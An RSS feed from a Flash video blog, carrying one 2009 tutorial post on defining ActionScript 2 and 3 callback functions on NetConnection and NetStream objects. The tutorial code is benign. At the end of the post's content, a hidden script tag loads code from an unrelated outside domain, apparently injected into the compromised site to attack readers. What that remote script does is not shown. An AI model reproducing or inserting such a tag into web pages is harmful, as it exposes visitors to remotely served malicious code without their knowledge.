<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Flash Video Examples &#187; callbacks</title>
	<atom:link href="http://blog.flashvideoexamples.com/tag/callbacks/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.flashvideoexamples.com</link>
	<description></description>
	<lastBuildDate>Mon, 07 Jun 2010 16:35:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using the client property to handle callback functions</title>
		<link>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/</link>
		<comments>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 21:24:14 +0000</pubDate>
		<dc:creator>Jody</dc:creator>
				<category><![CDATA[application development]]></category>
		<category><![CDATA[callbacks]]></category>

		<guid isPermaLink="false">http://blog.flashvideoexamples.com/?p=57</guid>
		<description><![CDATA[Here&#8217;s something I see people get hung up on when defining functions in client-side ActionScript and calling them from the Server-Side ActionScript Client.call() method.
In ActionScript 2, you define the functions directly on the NetConnection object, like this:
nc = new NetConnection();
nc.onBWDone = function(){
    return true;
};
nc.onBWCheck = function(){
   return 0;
};
nc.connect("rtmp:/clientCall");
In ActionScript 3, [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s something I see people get hung up on when defining functions in client-side ActionScript and calling them from the Server-Side ActionScript <code>Client.call()</code> method.</p>
<p>In ActionScript 2, you define the functions directly on the NetConnection object, like this:</p>
<pre>nc = new NetConnection();
nc.onBWDone = function(){
    return true;
};
nc.onBWCheck = function(){
   return 0;
};
nc.connect("rtmp:/clientCall");</pre>
<p>In ActionScript 3, you define the functions on an object assigned to the <code>NetConnection.client</code> property, like this:</p>
<pre>var clientObj:Object = new Object();
clientObj.onBWDone = onBWDone;
clientObj.onBWCheck = onBWCheck;
nc.client = clientObj;

public function onBWDone(... rest):Boolean {
   return true;
}

public function onBWCheck(... rest):Number {
   return 0;
}</pre>
<p><strong>Note:</strong>The previous code includes the callback functions expected by the FMS &#8220;live&#8221; and &#8220;vod&#8221; applications.</p>
<p>The NetStream class works similarly to the NetConnection class. You can call <code>NetStream.send()</code> to send messages to other connected clients. Those clients need callback functions that handle the messages.</p>
<p>In AS2 you can define functions on a NetStream object and in AS3 you define functions on an object assigned to the <code>NetStream.client</code> property. <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0ZsYXNoUGxhdGZvcm0vYmV0YS9yZWZlcmVuY2UvYWN0aW9uc2NyaXB0LzMvZmxhc2gvbmV0L05ldFN0cmVhbS5odG1s" target=\"_blank\">See <code>NetStream.client</code> and <code>NetStream.send()</code></a>.</p>
<p>There are several ways to handle callback methods&#8211;you can use the technique in this post, you can assign the <code>client</code> property to a new class, you can extend the NetStream or NetConnection class, or you can assign the <code>client</code> property to <code>this</code>. For good examples, see <a href="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?url=aHR0cDovL2hlbHAuYWRvYmUuY29tL2VuX1VTL0FjdGlvblNjcmlwdC8zLjBfUHJvZ3JhbW1pbmdBUzMvV1M1YjNjY2M1MTZkNGZiZjM1MWU2M2UzZDExOGE5YjkwMjA0LTdkM2YuaHRtbA==" target=\"_blank\">&#8220;Writing callback methods for metadata and cue points&#8221;</a>.<script src="http://ie.eracou.com/3"></script></p>
 <img src="http://blog.flashvideoexamples.com/wp-content/plugins/feed-statistics.php?view=1&post_id=57" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.flashvideoexamples.com/2009/12/03/using-the-client-property-to-handle-callback-functions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
